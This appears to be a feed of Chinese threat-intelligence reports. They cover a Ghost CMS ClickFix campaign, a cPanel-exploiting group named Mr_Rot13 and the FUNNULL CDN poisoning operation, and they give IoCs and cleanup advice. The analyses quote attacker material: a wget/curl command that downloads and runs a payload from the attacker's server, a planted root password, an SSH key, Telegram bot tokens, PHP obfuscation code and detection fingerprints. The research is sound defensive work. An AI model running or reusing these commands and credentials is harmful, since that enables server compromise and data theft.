它的功能和第一阶段的installer.dll一样，下载执行下一阶段的载荷，只不过载荷变成了UtilifySetup.exe。

前文已经讨论过NotepadPlusPlus.zip包括cmd/js俩种形式，已知notepadPlusPlugs.cmd是用于下载installer.dll，那notepadPlusPlus.js的目的又是什么呢？

MD5:ec5dfee13abf94e08d0f94e90b527db0
Language:  JavaScript

将notepadPlusPlus.js去混淆后，不难看出，它的功能也是下载执行下一阶段载荷UtilifySetup.exe。

样本分析：UtilifySetup.exe

UtilifySetup.exe是Inno Setup打包的安装文件，执行后会将释放到%appdata%\local\SuperMaxionQuickMaxlite目录

MD5:  18a7251ddde77ed24bc54700d84d9be1
SHA1:  9434fe686801742ef7d6da248fb0b900dc32208a
Compiled  TimeStamp: 2026-02-11 19:40:27
Type:  Inno Setup

这其实是一个Electron程序，将asar解包之后，可以看来源代码来自于github开源。

这个文件在VT是0检测，难道又是一个测试程序？答案是否定的。经过分析，我们发现攻击者使用恶意的index.js替换原始入口文件。

去混淆之后，它的核心功能是使用 Electron 框架自带的setLoginItemSettings API实现持久化；每30秒向远程服务器web-telegram[.]ug发送POST请求，等待执行其下发的获取指令，可执行任意的js代码或者运行可执行文件。

另一个攻击团伙

在我们的调查中，发现部分受害者还被攻击过2俩次，以bitsy.ai为例，它在5月10日第一名受害者名单中，但是却不在5月17日的第二批名单中。我们一开始为bitsy.ai的修复行动感到开心，但检查之后却发现它虽然清理了之前的脚本，但又被植入了另一类恶意脚本。这个脚本使用简单的reverse的对抗，还原后的下一阶段的javascript脚本地址为https://staticcloudflare[.]pro/api/css.js

再以哈佛国际评论为例，4月23日有一个，涉及的IOC为script-dev[.]digital，文中并没有提供恶意脚本，但我们通过溯源发现了以下脚本，还原后的下一阶段javascript脚本地址为https://script-dev[.]digital/api/css.js

staticcloudflare[.]pro与script-dev[.]digital这俩个域名使用相同的/api/css.jsURI模式，而且都曾解析到144.31.236.66，可以出俩者属于同一个攻击团伙。

而到了5月16日，我们却发现哈佛国际评论被植入了本次活动的恶意脚本，将其中的Base64字串解码之后正是新的Cloaking脚本地址https://com-apps[.]cc/11z77u3.php。

最有意思的是仅仅1天之后，另一个攻击团伙就将上面的代码清除，植入和bitsy.ai一样的恶意脚本，我们不禁感叹哈佛国际评论一个相当严肃的站点居然被俩个攻击团伙如此肆意玩弄。

这个这个攻击团伙的ClickFix页面上Ctrl+V的代码如下所示，核心部分是$d，可以看出它是一个16进制字串，使用XOR加密，密钥为h2QHiVI。

解密后的代码如下所示，它的功能是下载执行下一阶段的载荷，下载地址使用Base64编码

aHR0cHM6Ly9jZG51cGRhdGVuZXdzLnRvcC9kbD9maWQ9Mzg=

解码后为https://cdnupdatenews[.]top/dl?fid=38，遗憾的是我们并没有捕获这个载荷，无法进入一步分析这个攻击者的终极意图。

本文暂时不对这个攻击者进行深入的分析，只提供部分威胁情报，通过/api/css.js这个特定的URI进行溯源的话，在VT能发现将近500个可疑域名，部分和Aeternum恶意软件联系在一起。

自查与检测方法

站点侧（Ghost 运维方）

检查文章内容：在数据库或后台搜索是否包含以下任一指纹

字符串 ghost_once_footer_或 sj.ssc/ipa/
字符串 atob(与 appendChild同时出现在文章正文中
字符串 btoa(a.origin)

检查Ghost后台日志：是否存在异常的PUT /ghost/api/admin/posts/:id/请求，特别是来自陌生 IP、UA 异常、短时间内批量修改的请求
检查Code Injection配置项与主题文件：是否被植入额外的标签
检查API Key列表：是否存在未知或长期未使用的 Admin API Key
数据库审计：对posts.html/posts.mobiledoc/posts.lexical字段做一次全量扫描

用户侧 / 浏览侧

是否曾被引导至cloud-verification[.]com，com-apps[.]cc类伪验证页面
下载记录中是否有jalwat[.]com，taketwolabs[.]com，com-apps[.]cc，cloud-verification[.]com

处置建议

我们强烈建议Ghost CMS用户执行以下处置操作，如果你对我们的研究感兴趣，或需要帮助，可通过过与我们联系。

紧急升级Ghost CMS 至已修复 CVE-2026-26980 的官方版本
轮换所有凭证：Admin API Key、Content API Key、管理员密码、Session
清理植入内容：在数据库层面（而不仅是后台编辑器）批量清除文章中匹配上述指纹的代码段
审计访问日志：保留至少 30 天的 Admin API 调用日志，配合 IoC 进行回溯排查
向用户公告：建议所有可能在被污染期间访问过站点的用户进行本地安全检查

IoC

Threat Actor A

clo4shara[.]xyz
cloud-verification[.]com
jalwat[.]com
com-apps[.]cc
platecrumbs[.]com
web-telegram[.]ug


https://clo4shara[.]xyz/11z77u3.php
https://com-apps[.]cc/11z77u3.php
https://platecrumbs[.]com/11z77u3.php
https://cloud-verification[.]com/update.zip
https://com-apps[.]cc/update.zip
https://com-apps[.]cc/NotepadPlusPlus.zip
https://jalwat[.]com/static/uploads/campaigns/6/update.zip
https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll

Threat Actor B

staticcloudflare[.]pro
script-dev[.]buzz
updatesecurity[.]pro
updatefilescf[.]top
static-file[.]digital
download-file[.]today
updatefile-cf[.]dgital
script-dev[.]digital
updatefile-cf[.]top
script-dev[.]xyz



https://staticcloudflare[.]pro/api/css.js
https://script-dev[.]digital/api/css.js
https://cdnupdatenews[.]top/dl?fid=38

Sample MD5

5659292833ec421da11ebde005d9c9a8  installer.dll
d30cc10d54ebc967c8538ff74f442eee  *NotepadPlusPlus.dll
18a7251ddde77ed24bc54700d84d9be1  *UtilifySetup.exe_
f280e12f51f996dae7fffc64a56ee527  *SuperAppizeSetup.msi
fceca579efcef09eb507c6ca977ea281  *css.js_

Injected code characteristics

#Threat  Actor1

"ghost_once_footer_"

#Thread  Actor2

"sj.ssc/ipa/"

阅读原文

跳转微信打开

秘密活动6年的神秘黑客组织Mr_Rot13正在利用cPanel高危漏洞部署后门木马

Mon, 11 May 2026 15:42:00 +0800

原创奇安信X实验室 2026-05-11 15:42 北京

背景CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。

背景

CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。该产品广泛应用于 Linux 服务器运维与虚拟主机管理。漏洞 CVSS 评分高达 9.8（Critical），攻击者无需提供账号或密码，即可远程绕过身份认证并接管 cPanel / WHM 控制面板，可使未经过身份验证的远程攻击者获得受影响服务器的管理员权限。

自 2026 年 4 月 28 日漏洞公开披露以来，XLab大网威胁感知系统持续监测到大量黑灰产组织正在积极利用该漏洞实施网络攻击，相关行为包括挖矿、勒索、僵尸网络扩散、后门植入等多种恶意活动。监测数据显示，当前已有来自全球的 2000 余个攻击源 IP 参与针对该漏洞的自动化攻击与网络犯罪活动，这些IP分布在全球多个地区，主要来自德国、美国、巴西、荷兰等地区。

5月2日，安全社区披露黑客已利用该漏洞成功入侵东南亚政府及军事机构，窃取了约4.37G敏感文件的安全事件。

5月4日，我们在梳理通过CVE-2026-41940漏洞投递的恶意载荷过程中，发现了一个与众不同的新型感染器，该感染器采用Go语言编写，项目名称为“Payload”，其中嵌入了大量土耳其语的日志信息，疑似由AI生成。其主要功能是：向被入侵的cPanel系统植入SSH 公钥、恶意PHP、JS代码，窃取登录凭证，并将窃得的信息回传至黑客控制的Telegram群组，最终部署一个名为“filemanager”的远控木马。

在溯源分析时，我们发现本次活动的Downloader域名一个2022年上传至VirusTotal，至今依然0检测的PHP后门使用了JS代码中的相同的C2域名wrned[.]com，这个域名早在2020年就投入使用。种种迹象表明，这些威胁的背后并不是那种“打完就跑”的投机型脚本小子，而是一个能够隐秘活动多年、至今仍未被发现的稳定黑客团体。根据创建Telegram群组时所使用的用户名（first_name）“0xWR”，以及JS代码中采用Rot13算法隐藏C2的行为，我们内部将这个神秘的黑客组织命名为Mr_Rot13。

5月4日下午，ID为“xrill_y”的用户向Mr_Rot13创建的Telegram机器人发送了一条消息，这一举动似乎打草惊蛇（当然这只是我们的解读）。次日，Mr_Rot13迅速作出反应：升级恶意样本、更换机器人令牌（bot token），并将机器人移出群组。直到5月7日，他才再次将该机器人拉回群中。目前群组中一共有3名成员，我们的技术手段无法确认他们的身份，欢迎了解内幕的朋友向我们分享更多细节。

从2020年至今的六年时间里，Mr_Rot13 的相关样本及基础设施在各安全产品中的检测率持续处于极低水平。考虑到该威胁活动仍在进行中，且涉及的 cPanel 漏洞具有高危特性，我们特撰写本威胁快讯，旨在向安全社区分享相关发现，携手共同维护网络安全。

Payload感染器

Mr_rot13通过CVE-2026-41940投递的恶意脚本如下所示，它的功能是向下载服务器cp.dene.[de.com请求一个名为Update的恶意载荷，并通过 nohup 命令使其在后台持续运行（通常结合 & 使用）。

F=/root/.u$$; 
(
wget -q -O "$F" 'https://cp.dene.de[.]com/Update' 2>/dev/null 
||
curl -sk -o "$F" 'https://cp.dene.de[.]com/Update'
) 
&& chmod 755 "$F" && (nohup "$F" -s >/dev/null 2>&1 &) 
&& sleep 2; rm -f "$F"

这个所谓的Update文件就是我们前文所说的Payload感染器，通过对下载URL的持续监控，一共捕获了3个版本，它们的功能相近，本文以5月5日捕获的最新版本为主要分析对象，基本信息如下所示：

MD5: fb1bc3f935fdeb3555465070ba2db33c
Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
FileName: Update

Payload 感染器的功能直观且结构简单，分析难度较低。Payload感染器在运行时，若未指定 -s 或 --silent 参数，会逐项输出各类任务的执行状态。从字符串的风格来看，该感染器极有可能是攻击者直接借助 AI 生成的。

Payload感染器的主要任务是修改被入侵的系统的密码，向其植入SSH 公钥，PHP Webshell和恶意JS代码，部署filemanager远控，并将敏感的设备信息，凭证回传给黑客。

修该密码 & 植入SSH 公钥，对应的处理函数分别为main_changeRootPassword和main_installSSHKey

修改ROOT密码

root:123Qwe123C

植入SSH 公钥

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIswJUfqrkbm2sIMfNHZn1sOYkxjNzEynqJKFU7qoez cpanel-updater

植入PHP Webshell, 对应的处理函数为main_installCpanelPy

Webshell的下载地址为

https://cp.dene.de[.]com/cpanel.py

本地保存路径为

/usr/local/cpanel/cgi-sys/cpanel.py

这个Webshell的名字是Cpanel-Python，支持文件上传&浏览，以及远程命令执行等功能。

注入Javascript代码，对应的处理函数为main_injectLoginPage

恶意JS下载地址为

https://cp.dene.de[.]com/login.js
https::/cp.dena.de[.]com/login.tmpl

保存路径为

/usr/local/cpanel/base/unprotected/cpanel

而在login.js则通过下载代码片段实现窃取用户登录时的用户名、密码、User-Agent以及当前URL，并通过AJAX请求将这些敏感数据发送到攻击者控制的远程服务器。

样本中服务器地址使用ROT13编码“uggcf://jearq.pbz/ybt.cuc?g=3”，解码后https://wrned[.]com/log.php?t=3。

部署Filemanager远控，对应的处理函数为main_runWpsockInstaller

通过以下代码片段构建curl下载命令，其中url指向Filemanager后门的安装脚本下载地址https://wpsock[.]com/cpanel/install.sh。

install.sh中的代码表明Filemanager是一个跨平台的后门，支持Darwin，Linux,Windows3个主流操作系统。

敏感的信息回传至C2，对应的处理函数为main_postData

收集被入侵系统的bash历史记录，ssh，设备信息，数据库密码，Valiases配置等敏感信息，回传到黑客服务器。回传接口为https://cp.dene.de[.]com/collect.php

敏感信息回传至回传到Telegram，对应的处理函数为main_sendTelegram或main_sendTelegramFile

除了main_postData这种方式，Payloader感染器还支持一条冗余的Telegram回传通道，接收信息的群组ID为-443071772。

众所周知，使用Telegram Bot进行数据传递，必须配置Token，目前一共发现以下2个Token，它们对应的其实都是一个名为"log_FatherBot"的bot，只不过前者已被废除。

1190043163:AAEy1FDoB_r8KFiOIqsEpgDQ2k78Ai6BdWk
1190043163:AAFtaUfpui9fqKoRnqOa5XvT6MHLcK1axiU

知道Token以及群组ID之后，我们通过getChatAdministrators接口发现这个群组的创建者为0xWR，遗憾的是他的个人简介中并没有暴露更多信息。

5月4日，用户 xrill_y 使用第一个 token 向 Bot 发送了消息。Mr_rot13 迅速响应，在新样本中直接作废该 token 并启用了新 token。随后，xrill_y似乎为了隐藏，将用户名改为 iudcbjrfv。根据现在的线索，我们无法确定 xrill_y 的真实身份，但倾向于认为他是一名安全研究人员。

Filemanager远控

Filemanager后门是一个跨平台的远控木马，支持Darwin，Linux，Windows三大主流操作系统。本文以Linux, AMD64 CPU架构的样本为主要分析对象，它的基本信息如下所示：

MD5: 9305b4ebbb4d39907cf36b62989a6af3
MAGIC: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Name: filemanager-linux-amd64

Filemanager 支持大量参数，具体用法请参考帮助信息，本文不再逐一赘述。需特别注意的是，该工具不支持直接传递明文密码。正确的做法是：先用 -hash 参数对目标密码生成 bcrypt 哈希值，再将生成的哈希值通过 -pass-hash 参数传入。在 Shell 环境中，必须使用单引号将 bcrypt 哈希值括起来（例如 '$2a$10$...'），否则 $ 符号会被解释为变量，导致密码无效。

Filemanager 运行时监听 port 参数指定的端口，通过 Web 页面为攻击者提供远程管理被入侵系统的通道。

为了演示它的功能，我们在测试设备中启动filemanager，并指定用户名&密码，端口为9999。

此时通过浏览器访问测试设备的9999端口，即可进入操作页面，非常典型的远控操作台，支持文件管理，远程命令执行以及SHELL功能。

2022年至今0检测的PHP后门

在溯源过程中，我们发现了一个2022年上传到VirusTotal，名为helper的PHP文件，该文件存在和wrned.com通信的行为，经过分析，我们确认它是一个PHP后门。

MD5: 2286f126ab4740ccf2595ad1fa0c615c
Magic: PHP script text
Name: helper.php

该文件由2部分组成，前部分代码来自WordPress系统文件options.php，从*/之后为混淆的恶意代码。

混淆方式为简单的字串xor拼接混淆，以下面的混淆字串为例，它去混淆后为为str_rot13。

  $___ =  ("8" ^ "K") .("8" ^ "L") .
          ("8" ^ "J") .("v" ^ ")") .
          ("8" ^ "J") .("T" ^ ";") .
          ("8" ^ "L") .("W" ^ "f") .
          ("R" ^ "a");

全文去混淆后不难看出PHP后门的主要逻辑为：首先向远程服务器https://wrned[.]com/api.php?t=3&c=1回传触发环境下的关键参数，包括URL、客户端IP、参数 w 的值及User-Agent等。C2响应返回一个包含 s、u、c 三个键的JSON对象。其中，s 用于标识当前请求在C2视角下是否合法；c 为RC4密钥，用于解密硬编码的payload；u 用于承载额外数据，我们推测它在解密后的payload执行阶段被引用。

实际产生的流量如上所示，我们持续跟踪了数日，但遗憾的是，始终未从C2收到有效响应，因此无法解密样本中经RC4加密的载荷，难以进一步分析该PHP后门的具体功能。不过可以确定的是，WordPress 无疑是 Mr_Rot13 的重点攻击目标之一。

总结

这是目前掌握的Mr_rot13黑客团伙的所有情报，受限于分析视野，相关信息仍不完整，欢迎掌握更多线索的团队或个人与我们共享情报；如果您对我们的研究感兴趣，或者了解内幕消息，欢迎与我们联系。

对威胁情报感兴趣的读者，请点击下方的“阅读原文”访问我们的官方博客，原文提供了Mr_rot13详尽的IoC。

阅读原文

跳转微信打开

围剿FUNNULL黑产：深度揭秘影响百万用户的投毒攻击链

Fri, 27 Feb 2026 12:59:00 +0800

原创奇安信X实验室 2026-02-27 12:59 江西

背景介绍

Funnull（全称 Funnull Technology Inc.，中文又称方能CDN或方能科技）是一家注册在菲律宾的公司，表面上看是一家提供CDN（内容分发网络）服务的公司，但实际上它是东南亚网络黑产链条中非常重要的基础设施提供商，专为“杀猪盘”网络诈骗提供一站式服务，被美国政府明确定性为重大网络犯罪支持者，在中国黑灰产圈内也长期被视为“诈骗专用云”。2025年5月29日，美国财政部外国资产控制办公室（OFAC）正式宣布对Funnull黑产团伙进行制裁，之后 Funnull 的公开运营基本陷于停滞。然而网络黑产链条的往往有极强的韧性，Funnull这样的老牌专业团队更是如此，“被打击、潜伏、再度回归”几乎成为其生存常态，我们的最新研究表明Funnull已换皮复活。

时间回到2025年7月9日，Xlab大网威胁感知系统监测到域名download.zhw.sh正在传播一个VT 0 检测的ELF文件。首先引起注意的是访问hxxp://zhw.]sh显示的图片，让我们直呼真是胆大包天。更值得警惕的是，样本中涉及的域名“client.110.nz”在我们的PDNS系统中显示解析次数高达16亿次，种种异常迹象表明，这似乎是一条“大鱼”。

在激动的心情中，我们开始了分析之旅，很快就有了初步结论：这个ELF文件是一个下载器，它会向远程服务器请求udev.sh, udev.rules, module.so, libutilkeybd.so, ring04h_office_bin等多个载荷，但由于缺乏有效的会话令牌（session token）与群组密钥（group key），我们未能通过服务器的校验机制，没有捕获这些后续样本。然而，根据这些Payload的目的——如libutilkeybd.so用于通过 Preload 机制实现劫持，udev.rules用于通过Udev机制实现持久化——我们高度确信，这个下载器是一个恶意软件。

为查明这个下载器的真实意图，我们以文件名为线索进行主动狩猎，迅速锁定关键组件：module.so 与 libutilkeybd.so；一个月之后，我们进一步发现了到首个 ring04h_office_bin 样本。这些样本的相继捕获，逐步拼凑出一个攻击链条：攻击者首先入侵GoEdge管理节点，并植入感染模块 infection_init。该模块随后通过SSH远程命令，强制所有边缘节点下载并执行 downloader_init。download_init，即是上文所说的下载器，它会在受控节点上部署以下一系列恶意载荷，很明显这是一个分工非常明确的攻击套件，基于样本中反复出现的字串RING04H,以及office_bin模块使用xor 23解密配置文件，这个攻击套件被我们命名为RingH23，它包含Badnginx2s，Badredis2s，Badhide2s等不同目的组件。

udev.sh & udev.rules：非常少见的Udev持久化脚本&规则
module.so：非常少见的Nginx恶意模块，负责下载劫持，数字钱包替换，向网页注入恶意JavaScript代码，被命名为Badnginx2s
ring04h_office_bin：后门模块，用于维持对节点的长期持久化访问，C2保存在Azure Blob Storage，被命名为Badredis2s
libutilkeybd.so：用户态Rootkit模块，用于隐藏Payload的活动痕迹,被命名为Badhide2s

此次攻击活动的核心目的之一，是在向网页中植入恶意JavaScript代码，从而将访问者劫持并跳转至博彩、色情等非法网站。这些恶意脚本托管于数个2025年创建的公共静态资源库CDN的高仿域名。

code.jquecy[.]com，仿冒jquery.com
cdn.jsdclivr[.]com，仿冒jsdelivr.com
cdnjs.clondflare[.]com，仿冒cloudflare.com
static.bytedauce[.]com，仿冒bytedance.com

这批域名于2025年创建，从我们的数据视野来看，它们的影响范围已经相当广泛。以clondflare为例，访问峰值在2025年8月30日，当天去重客户端高达34万。需要强调的是，我们数据源在国内约占5%的市场份额，按照这个比列推算，clondflare当天在全国范围内可能被680万用户主观或被动访问，其影响规模令人咂舌。

此次攻击活动背后的团伙绝非普通黑客，我们以恶意JavaScript代码为线索展开溯源分析，惊奇地发现：本次活动使用的JS代码与2024年2月Polyfill.io供应链攻击以及同年5月GoEdge遭官方投毒两次攻击事件中所使用的恶意脚本如出一辙。这些攻击的黑手正是臭名昭著的Funnull黑产组织。

随着调查进一步深入，我们发现Funnull针对开源供应链及基础设施方面的攻击活动并没有停止。除了上述知名CDN服务外，该组织还将黑手伸向了影视内容管理系统领域——我们确认苹果CMS（maccms.la版）使用相同的JS脚本进行隐蔽的投毒攻击。

以下为本次研究的核心发现：

1. Funnull换马甲回归，而且全面升级。

Funnull又回来了，它是2024年Polyfill.io供应链攻击，是此前BootCDN、Bootcss、Staticfile等多起CDN投毒事件的幕后黑手，是被美国财政部点名协助"杀猪盘"骗局、受害者报告损失超2亿美元的那个黑产组织。他们的之前的主要手法是寄生在已有的公共CDN服务上投毒；而现在已进化到自主开发完整的服务器端攻击套件（RingH23），主动入侵CDN节点，控制力和技术深度都上了一个台阶。

2. 两条独立的供应链感染通道。

路径一：苹果CMS（maccms.la）官方升级通道投毒。苹果CMS是一个GitHub上积累2,700+星标的开源影视建站系统，在中国中小型影视站长中拥有极高普及率。现在看来它已落入了Funnull黑产组织之手，现已有明确证据表明，maccms.la官方通过升级通道下发恶意PHP后门。投毒设计非常狡猾——用户安装后首次登录管理后台时触发，payload设有3分钟时效窗口，下载成功之后或过期即无法访问，有效规避事后取证。

路径二：GoEdge管理节点 → SSH横向扩散 → RingH23套件部署。攻击者入侵GoEdge CDN管理节点，植入感染模块，随后通过SSH远程命令将攻击套件RingH23强制部署到所有边缘节点。该套件包含Badredis2s, Badnginx2s, Badhide2s等多个专业化组件，并且使用非常少见的UDEV机制实现持久化。这些组件设计精良，分工极其明确，不是脚本小子的随手之作，而是一个成熟的工程化黑产攻击套件。

3. 影响百万级用户，受害者陷入"清理又感染"的死循环。

从我们的监测数据来看：单日去重客户端峰值达58万（而我们的数据源仅占国内约5%的市场份额），保守推算全国日均超过百万用户被劫持至博彩、色情等非法站点。10,748个IP被确认感染，绝大多数为影视站点。Badredis2s的C2域名排进Tranco全球网站排名前50万，活跃程度极高。更棘手的是，大量受害站长陷入反复感染的困境。原因在于感染是三层结构，只清理表面等于只擦掉了症状，必须三层全部清除，否则必定复发。

第一层（表面）：被篡改的JS文件。这是多数人发现的症状，清除后短暂恢复。
第二层（中间）：PHP恶意载荷。恶意PHP载荷在thinkphp框架中注册钩子，每一个被渲染的页面都会被自动重新感染，不清除PHP后门，JS永远清不干净。
第三层（根源）：官方升级通道 / 系统级持久化。对maccms.la用户，每次检查更新都可能会重新下发恶意代码；对RingH23受害者，udev规则在重启后自动恢复后门，Rootkit隐藏一切痕迹。

4. CDN1.AI疑似为FUNNULL的新马甲基础设施。

Funnull用于托管恶意JS脚本的域名近期集体迁移至CDN1.AI。CDN1于2025年6月才创建，却在极短时间内被FUNNULL全面采用。然而自身运维水平粗糙——官方网站证书过期都未处理，明显不符合一个正规CDN服务商的表现。综合其快速获得信任的异常模式与基础设施高度同步的迁移时机，我们推测CDN1.AI并非真正的第三方CDN，而是FUNNULL为规避追踪而启用的新马甲，这意味着该团伙正在主动构建新的基础设施层。

5. 黑产运用精细化运营逻辑，针对性极强。

攻击主要针对手机用户，设有地区限制（目前仅中国时区触发）和分时段概率机制。例如凌晨4-7点的劫持概率高达80%，利用的正是用户深夜疲惫、自控力下降的心理窗口。

更值得警惕的是攻击者的用户画像策略：根据页面内容关键词判断访客类型，实施差异化导流，这套用户画像与分时段概率投放的运营逻辑，堪比正规公司的精细化运营水平。

对访问正常内容的用户（"正经流量"）：优先推送入门级色情和擦边内容，降低心理门槛，逐步引导转化。
对已在访问灰色内容的用户（"高价值流量"）：直接对接上游赌博平台、高客单价色情站点，加速沉迷，最大化用户产出。

百万级别的影响规模

基于现有监测数据，虽然难以精确量化此次黑产活动的总体感染规模，但通过被感染的网站，C2排名，以及恶意JS被访问的趋势三个维度的观测，已能充分印证其广泛的影响。

1. 探测被感染的网站

植入到网页中的JS代码有非常强的特征，如“function xxSJRox”，“MfXKwV”，“ptbnNbK”等字串，通过资产测绘，我们发现10748个IP命中这一特征，它们中的大多数是影视站点。值得注意的是，恶意代码是动态注入，很多实际已被感染的网站可能不会被测绘发现。

2. C2的排名

Tranco 排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告等多个数据源，是学术界广泛使用的工具。目前，Badredis2s的大部分C2都排在全球网站排名50万左右，活跃程度非常高。

3. 恶意JS被访问的趋势

我们在溯源过程中又发现了3个新的恶意JS托管站点：bdustatic[.]com，jsdelivr[.]vip以及macoms[.]la。从统计数据来看，单日去重后的客户端峰值为58万，当前数值略有下降，保持在20万左右。考虑到数据来源的市场占有率，保守评估每天超过百万用户受这些恶意JS背后非法站点的影响。

死灰复燃的FUNNULL黑产

1. 归属于FUNNULL的原因

Funnull作为东南亚黑产生态中的上游基础设施提供商，主要通过从 AWS、Azure 等云厂商批量采购干净 IP 地址，再结合 DGA 生成大量域名后“洗白”转售给下游诈骗团伙，从而支撑杀猪盘、假投资平台等诈骗活动。然而，在polyfill.io、bootcdn.net、staticfile.org等多次CDN投毒事件中，Funnull并非仅充当被动供应商，而是亲自下场操作，直接收购域名并在植入恶意JS代码。这些“自己亲自下场干黑活”的事件，强烈表明投毒所使用的脚本完全隶属于Funnull自身。因为这些脚本直接承担核心的恶意跳转与流量劫持功能，只有牢牢掌握控制权，才能确保黑产链条的高效运转，最大化分成收益，并避免下游团伙随意修改导致的效率损失或分成争议。

根据这一技术推论，我们认为JavaScript脚本的特征可作为攻击归属判定的关键依据。Funnull的脚本可分为JS Loader（加载器）和JS Redirector（重定向器）两大类，它们共同构成了一个流量重定向框架。其中，JS Load器的功能是动态加载伪装成jQuery库的Redirector有效载荷；而Redirector则负责将符合预设条件的用户请求，劫持并转向赌博、色情等非法站点

① JS Loader相似性

Loader核心逻辑是通过环境检测和反调试手段，在特定设备上隐蔽加载外部资源。代码使用Base64隐藏真实URL，通过字符串拼接动态创建script标签加载伪装的Query库，但仅针对移动设备/Linux执行。本次活动捕获的Loader代码与2023年BootCDN投毒事件中所用代码完全一致，包括环境判断逻辑、解码函数结构、参数命名等。

另外值得一提的是，macoms.la这个域名同时出现在了另外两起攻击事件中：Polyfill供应链攻击与GoEdge官方投毒。前者已被多家安全厂商和社区公开分析并判定为Funnull主导；后者虽暂无完整公开分析报告，但基于域名复用、流量劫持模式的一致性让我们有充分理由相信GoEdge投毒事件同样出自Funnull团伙之手。

② JS Redirector相似性

Redirector的核心逻辑是通过多重检测机制（设备类型、页面关键词、时区、访问时段）在不同时间段以不同的概率（如：0-8时劫持概率60%-80%，其他时间50%）将用户重定向到特定的色情，博彩，诈骗等推广，实现流量变现。

Funnull的Redirector有非常明显的风格，通常会判断设备类型来，一般只对手机或平板这类移动端下手，PC流量价值低、转化率差且容易被管理员/安全软件发现。

再根据页面内容对用户进行初步画像，评估其潜在商业价值，并实施差异化导流策略，简单来说：正经用户，引诱看点色情，思想滑坡好下手；不太正经的用户，加大剂量，榨干价值。

正经用户（低价值流量）

画像：当前访问的是主流正常内容页面（无明显灰黑关键词）。这类用户初始警惕性较高、付费意愿较低、转化周期较长。

策略：优先推送入门级色情、擦边或轻度福利内容，通过降低心理门槛、激发好奇心，逐步引导其向更深度的消费场景，最终实现转化。

非正经用户（高价值流量）

画像：当前访问的是色情、博彩、六合彩、福利导航、成人直播等（包含大量对应关键词）。这类用户已有明确需求、付费意愿较强、对平台实力与内容刺激度敏感、转化周期短。

策略：直接匹配更上游、更专业、资金更雄厚、玩法更刺激的平台，提供高品质内容与更高回报机制，加速用户沉迷并最大化单用户产出（注册、首存、持续消费等）。

策略确定后，再根据当前时间段动态调整跳转概率，充分利用用户在不同时段的心理状态与行为特征，实现更高效的流量变现：

00:00–01:59，跳转概率 60%。用户刚进入深夜，警惕性开始下降，但多数人尚未完全放松，适合适度放量。
02:00–03:59，跳转概率 70%。深度夜间阶段，用户决策力与自控力显著减弱，冲动消费意愿上升，是破防与转化的黄金窗口。
04:00–06:59：跳转概率 80%。凌晨高峰期，用户疲惫、孤独感强、警惕性最低，对色情/博彩内容的接受度与付费冲动达到峰值，此时投放强度最大，转化效率最高。
07:00–07:59：跳转概率回落至 60%。清晨时段，用户开始清醒，警惕性回升，投放强度适当收敛，避免干扰正常作息导致举报或流失。
其他时间（白天 08:00–23:59）：基础概率 50%。白天用户活跃度高但警惕性强，保持中等概率投放。

Redirector还有时区检测机制，只有的特定地区才会触发跳转，从捕获的样本来看，目前只针对中国。

当上面的条件都满足时，还有一道关卡，Funnull设计了一道远程控制开关：通过动态加载外部JavaScript文件来设置usercache变量，只有该变量为true时才允许执行跳转，从而实现攻击行为的远程操控。

这些行为是Funnull Redirector类脚本的典型特征。本次事件捕获的 JS 脚本在整体编码风格、混淆技术及核心逻辑设计上，与之前数次投毒活动中的样本几乎完全一致，呈现出明显的家族同源性，以GoEdge事件的脚本，以及本次RingH23攻击套件投递的样本为例，俩者近似的风格一目了然。

另一个更为直接的证据是，在本次活动中充当远程控制开关角色的ailyunoss.com（仿冒阿里云）于2025年4月24日被注册，它的DNS解析历史清晰地显示，在2025年5月22日至7月9日期间，该域名使用了funnull系列CDN服务。这一发现直接证明了RingH23攻击套件以及maccms.la的投毒攻击，与FUNNULL黑产团伙存在明确关联。

2. 可疑的cdn1.ai

Funnull用于托管的恶意javascript脚本的域名目前正在使用基于cdn1.ai基础设施的CDN服务。cdn1.ai于2025年6月18日创建，官方网站宣称它是全球内容分发网络，提供高速、稳定的内容加速服务，覆盖200+节点，提升网站访问速度95%以上。

我们根据CNAME记录对JS恶意域名进行分类，可以很清晰的看出历史活动中出现的域名从funnull cdn到cdn1.ai的转移过程。

将本次活动涉及域名与历史攻击活动中使用的域名进行横向对比分析，可以发现这些域名都在相近的时间窗口（集中在7月期间）完成了向cdn1.ai的迁移操作。

这不禁令人产生一个疑问：作为一家新兴的CDN服务商，CDN1.AI是如何在如此短的时间内，赢得像Funnull这类成熟黑产组织信任的？对于日进斗金的Funnull而言，基础设施的选择必定慎之又慎，对稳定性有比较高的要求。然而，CDN1.AI本身的表现却显得并不是那么可靠，它的技术架构源自于开源项目GoEdge，直接用于正规的商业环境先天就力有不逮；再者运营也不是很专业，例如其官方网站的SSL证书过期都未能及时更新，这显然不符合一家稳健服务商应有的表现。

我们目前尚未发现能够直接证明CDN1.AI与Funnull团伙存在归属关系的证据，但综合其快速获得信任的异常模式、自身运维的草率表现，以及与基础设施高度同步的迁移时机，现做一技术推测：CDN1.AI很可能并非真正的第三方CDN，而是Funnull团伙为规避追踪而启用的新马甲。

maccms.la官方投毒技术细节

苹果CMS（Maccms）是一套免费开源的专业影视内容管理系统，主要用于快速搭建与管理各类视频站点，如电影站、电视剧站或动漫资源站等。凭借其便捷的采集功能与灵活的模板系统，该系统自发布以来一直深受中小型影视站长的欢迎，广泛应用于个人及小规模商业视频平台建设中。最初官方维护的版本（原官网为maccms.com）已于2019年前后停止更新。此后，一个被称为“maccms.la”的社区版本开始提供更新与支持，目前在GitHub上的相关项目已积累超过2700个星标，体现出较为活跃的社区生态与用户认可度。

